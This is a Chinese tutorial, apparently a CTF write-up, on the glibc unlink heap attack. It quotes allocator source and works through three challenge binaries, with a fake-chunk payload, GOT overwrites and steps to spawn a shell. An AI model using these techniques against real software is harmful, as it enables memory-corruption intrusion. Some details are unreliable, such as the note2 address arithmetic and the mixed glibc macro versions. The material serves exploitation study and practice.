什么是 Unlink?
在 Linux 的 glibc 堆管理机制中,unlink 是一个核心操作,其字面含义为“脱链”。当堆管理器释放某一 chunk 时,若发现其相邻的 chunk 处于空闲状态,便会尝试将这两个 chunk 合并成一个更大的空闲 chunk。为完成合并,需将相邻空闲 chunk 从其所在双向链表(如 small bins、unsorted bins)中移除——这一过程即为 unlink。
以下两段源码分别对应 free 过程中的后向合并与前向合并,均调用 unlink:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
// 如果下一个chunk不是top chunk
if (nextchunk != av->top) {
/* get and clear inuse bit */
// 获取下一个 chunk 的使用状态
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
// 如果不在使用,合并,否则清空当前chunk的使用状态。
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
}
}
Unlink 攻击原理(Unlink Attack)
Unlink 攻击的核心在于:通过堆溢出、off-by-one 等漏洞篡改堆块元数据,伪造一个“看似合法”的空闲 chunk 结构;当程序后续执行 unlink 操作时,会依据伪造指针执行写入,从而实现任意地址写(Arbitrary Write)。
该攻击依赖对 unlink 宏定义的深入理解。以下是 glibc 2.23 中关键宏的完整实现(含注释),已根据图片 OCR 提取并严格还原:
/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) { \
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,检查一致性
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
// 防止攻击者简单篡改空闲 chunk 的 fd 与 bk 实现任意写
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
// 下面主要处理 P 对应的 nextsize 双向链表修改
if (!in_smallbin_range (chunksize_nomask (P)) \
// 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中
// 那么其实也就没有必要对 nextsize 字段进行修改了
// 这里没有去判断 bk_nextsize 字段,可能会出问题
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
// 类似于小 chunk 的检查思路
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr(check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
// 这里说明 P 已经在 nextsize 链表中了
// 如果 FD 没有在 nextsize 链表中
if (FD->fd_nextsize == NULL) { \
// 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P
// 令 FD 为 nextsize 串起来的
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
// 否则我们需要将 FD 插入到 nextsize 形成的双链表中
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
// 如果在的话,直接拿走即可
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
}
该宏包含三重检查,攻击者需绕过前两项(第三项仅作用于 largebin,本系列题目均未触发):
- size 一致性检查:
chunksize(P) != prev_size(next_chunk(P))
- 双向链表完整性检查:
FD->bk != P || BK->fd != P
- largebin nextsize 链表检查(略)
经典绕过方法是:将伪造 chunk 的 fd 设为 &target_address - 0x18,bk 设为 &target_address - 0x10。这样:
FD->bk 即 *(fd + 0x18) → *(&target_address - 0x18 + 0x18) → *(&target_address) → target_address
BK->fd 即 *(bk + 0x10) → *(&target_address - 0x10 + 0x10) → *(&target_address) → target_address
若 target_address 处恰好存储伪造 chunk 地址 P,则检查通过;随后执行 FD->bk = BK 和 BK->fd = FD,最终效果是将 target_address 处的值修改为 &target_address - 0x18 或 &target_address - 0x10。若 target_address 是 GOT 表项(如 free@got),即可劫持函数调用流程。
环境安全属性分析
所有例题均运行于 amd64-64-little 架构,安全机制配置如下(基于多张终端截图 OCR 综合确认):
- RELRO: Partial RELRO → GOT 表可写(关键前提)
- Stack Canary: Canary found → 存在栈保护,但不影响堆利用
- NX: NX enabled → 数据页不可执行,需 ROP 或 GOT 覆盖
- PIE: No PIE (0x400000) → 代码段基址固定,便于定位符号
该配置组合是 CTF 堆题的经典靶场,既保留 GOT 劫持可行性,又具备基础防护,考验对 unlink 机制的深度掌握。
例题一:2014 HITCON stkof —— 基础 Unlink 实战
程序功能与漏洞点
程序提供四类操作:
v3=1:申请自定义大小内存,地址存入全局数组 s(起始地址 0x602140),索引从 1 开始(s[1] 存第一个 chunk 地址)
v3=2:向指定 chunk 写入内容,存在堆溢出(无长度校验,可覆写高地址 chunk)
v3=3:释放指定 chunk(标准 free)
v3=4:无实质功能
漏洞本质是:v3=2 的编辑功能允许向 chunk2 写入超长数据,覆盖紧邻的 chunk3 元数据,为伪造 fake chunk 创造条件。
利用思路
- 申请三个物理相邻 chunk:
chunk1(0x20)、chunk2(0x30)、chunk3(0x80)
- 利用
v3=2 向 chunk2 写入 payload,伪造 fake chunk 并篡改 chunk3 的 size 字段(清除 PREV_INUSE 标志位)
- 调用
v3=3 释放 chunk3,触发后向合并,执行 unlink(fake_chunk)
unlink 成功后,s[2](即 &s[2])被修改为 &s[2] - 0x18,实现对 s 数组首地址的任意写能力
- 利用该能力,将
s[0]、s[1]、s[2] 分别覆盖为 free@got、puts@got、atoi@got 地址
- 将
free@got 修改为 puts@plt,再释放 s[1](即 free(s[1]) → puts(puts@got)),泄露 libc 基址
- 计算
system 地址,覆盖 atoi@got,输入 /bin/sh 触发 system("/bin/sh")
关键内存布局与调试验证
通过 pwndbg> heap 命令观察堆状态,确认分配结果:
Allocated chunk | PREV_INUSE Addr: 0x1f8bb000 Size: 0x1010 (with flag bits: 0x1011)
Allocated chunk | PREV_INUSE Addr: 0x1f8bc010 Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE Addr: 0x1f8bc040 Size: 0x410 (with flag bits: 0x411)
Allocated chunk | PREV_INUSE Addr: 0x1f8bc450 Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE Addr: 0x1f8bc490 Size: 0x90 (with flag bits: 0x91)
Top chunk | PREV_INUSE Addr: 0x1f8bc520 Size: 0x20ae0 (with flag bits: 0x20ae1)
chunk2(0x1f8bc040)与 chunk3(0x1f8bc450)物理相邻,满足 unlink 触发条件。
伪造 fake chunk 的 payload 如下(基于图片 OCR 提取):
payload = p64(0) # fake chunk presize
payload += p64(0x20) # fake chunk size
payload += p64(ptr - 0x18) # fake chunk fd = &s[2] - 0x18
payload += p64(ptr - 0x10) # fake chunk bk = &s[2] - 0x10
payload += p64(0x20) # 绕过 size 检查
payload = payload.ljust(0x30,b'a')
payload += p64(0x30) # chunk3 presize
payload += p64(0x90) # chunk3 size (清除 inuse 位)
edit(2,len(payload),payload)
执行 free(3) 后,s[2] 值由原地址变为 0x602138(见图片 OCR:0x602140: s[0] 0x00000000000602138 s[1] 0x0000000001f8bc020),验证 unlink 成功。
GOT 表状态确认(pwndbg> got)显示 free@got 当前指向 puts@plt,且 Partial RELRO 生效:
State of the GOT of /home/ctf-challenges/pwn/linux/user-mode/heap/unlink/2014_hitcon_stkof/stkof:
GOT protection: Partial RELRO | Found 15 GOT entries passing the filter
[0x602018] free@GLIBC_2.2.5 -> 0x400760 (puts@plt) <- jmp qword ptr [rip + 0x2018ba]
[0x602020] puts@GLIBC_2.2.5 -> 0x7f7214c6d690 (puts) <- push r1
最终成功执行 cat /flag 并获取 flag{aaa}(见图片 OCR:$ cat /flag → flag{aaa})。
例题二:2016 ZCTF note2 —— Off-by-One + Unlink 组合利用
程序功能与漏洞点
菜单式程序,功能包括:
- New note:申请内存(最大
0x80),但存在Off-by-One 漏洞:sub_4009BD 函数中 a2-1 > i 比较,当 a2=0 时 a2-1 为极大无符号数,导致可写入远超预期长度
- Show note:打印 note 内容
- Edit note:覆写或追加内容
- Delete note:释放内存
关键漏洞链:
malloc(0) 实际分配 0x20 字节最小 chunk
- 利用 Off-by-One 覆盖
chunk0 的 fd 指针,将其指向 ptr 数组地址(0x602120)
- 通过
new(0, payload) 触发堆溢出,精准控制 chunk1 和 chunk2 元数据
- 释放
chunk2 触发 unlink,将 ptr[1] 修改为 &ptr[1] - 0x18
利用思路
- 申请
chunk0(malloc(0))、chunk1(malloc(0x30))、chunk2(malloc(0x80))
- 删除
chunk0,使其进入 fastbin
- 利用 Off-by-One 将
chunk0 的 fd 指向 0x602120(ptr 数组起始地址)
- 再次申请
chunk0,获得对 ptr 数组的写权限
- 构造 payload 覆盖
chunk1 和 chunk2,伪造 fake chunk 并篡改 chunk2 size
- 释放
chunk2,unlink 将 ptr[1] 改为 &ptr[1] - 0x18
- 利用
edit(1) 修改 ptr[0] 为 atoi@got
- 利用
show(1) 泄露 atoi@got,计算 libc 基址
- 覆盖
atoi@got 为 system 地址,输入 /bin/sh 获取 shell
内存布局验证
pwndbg> x/20gx 0x000000000602120 输出(OCR 提取):
0x602120: 0x0000000000000000 0x0000000022d6e030
0x602130: 0x0000000022d6e070 0x0000000022d6e010
0x602140: 0x0000000000000000 0x0000000000000030
...
ptr 数组地址 0x602120 附近存储着各 chunk 地址,unlink 后 ptr[1](0x602130)被修改为 0x0000000022d6e070,符合 &ptr[1] - 0x18 计算逻辑。
GOT 表中 atoi 条目(pwndbg> got atoi)确认可读:
[0x602088] atoi@GLIBC_2.2.5 -> 0x7f597d1a2e80 (atoi) <- sub rsp 8
调试输出 [DEBUG] Received 0x57 bytes: ... 0x7f597d1a2e80 直接印证 atoi 地址泄露成功。
例题三:2017 insomni'hack wheelofrobots —— 多阶段 Unlink 与任意地址写构建
程序功能与漏洞点
机器人轮盘菜单,功能包括:
- Add robot:支持 6 种机器人,每种分配独立内存并记录指针(
buf, qword_6030F0, qword_603100 等)和申请状态(dword_603120, dword_603114 等)
- Delete robot:释放内存,但未置空指针,存在 Use-After-Free(UAF)
- Change name:向已申请机器人内存写入
- Start wheel:随机打印一个机器人内存(不可控)
核心漏洞:
- Off-by-One:
add 时 read 5 字节到 4 字节缓冲区 unk_603110,溢出至 dword_603114(Bender 申请标志位)
- UAF + Fastbin Attack:利用 Off-by-One 修改
dword_603114,再结合 delete 后未清空指针的特性,将 fastbin fd 指向 0x603138(Bender 的 size 记录变量),从而控制其大小
- 二次 Unlink:利用可控大小的溢出,对
case6(Destructor)对应的 chunk 进行溢出,触发 unlink,将 case6 指针(0x6030E8)修改为 0x6030E8 - 0x18,实现对 .bss 段的任意写
利用思路(精简版)
- 利用 Off-by-One 将
dword_603114 从 0 改为 1,使 delete(2) 后仍能 change(2)
change(2) 将 chunk0 的 fd 指向 0x603138(case6 的 size 变量)
- 重新
add(1) 和 add(2),将 0x603138 分配给 case2,从而获得修改 case6 写入长度的能力
add(6) 和 add(3) 分配相邻 chunk
change(2) 将 case6 写入长度设为 1000,构造 fake chunk 并篡改 chunk2 size
delete(3) 触发 unlink,case6 指针(0x6030E8)变为 0x6030E8 - 0x18
change(6) 将 case6、case2、case1 指针分别设为 free@got、case6 申请标志位地址(0x60311C)、case6 地址(0x6030E8),构建任意地址写原语
change(6) 写 puts@plt 到 free@got,change(1) 写 puts@got 到 case1,delete(6) 触发 puts(puts@got) 泄露地址
- 计算
system 地址,change(2) 激活 case1,change(1) 写 atoi@got,change(6) 写 system,delete(6) 后输入 sh 获取 shell
关键地址与 GOT 验证
.bss 段地址分布(OCR 提取):
case6 指针:0x6030E8
case1 指针:0x6030F8
case6 申请标志位:0x60311C
case2 size 变量:0x603138
GOT 表中 free 条目(pwndbg> got)显示其地址为 0x602018,且 Partial RELRO 生效,确保可写:
[0x602018] free@GLIBC_2.2.5 -> 0x7f7214c824f0 (free) <- push r13
通用防御与学习建议
- 开发者角度:启用 Full RELRO、编译时添加
-z noexecstack、使用 malloc 替代裸 brk/sbrk、对用户输入做严格长度校验
- 安全研究者角度:深入理解
ptmalloc2 源码(尤其 malloc.c 中 unlink、malloc_consolidate、_int_malloc 等函数)、熟练使用 pwndbg/gef 调试堆状态、掌握 checksec 工具解读保护机制
- 学习路径:建议系统学习 计算机基础 中的《操作系统》与《汇编语言》,夯实内存管理底层知识;进阶可参考 安全/渗透/逆向 板块的《Exploit》与《Reverse Engineering》专题
参考资料
[1] 堆学习:Unlink attack, 微信公众号:mp.weixin.qq.com/s/BUO6JsCF9a-iQgfLWGoPPQ
版权声明:本文由 云栈社区 整理发布,版权归原作者所有。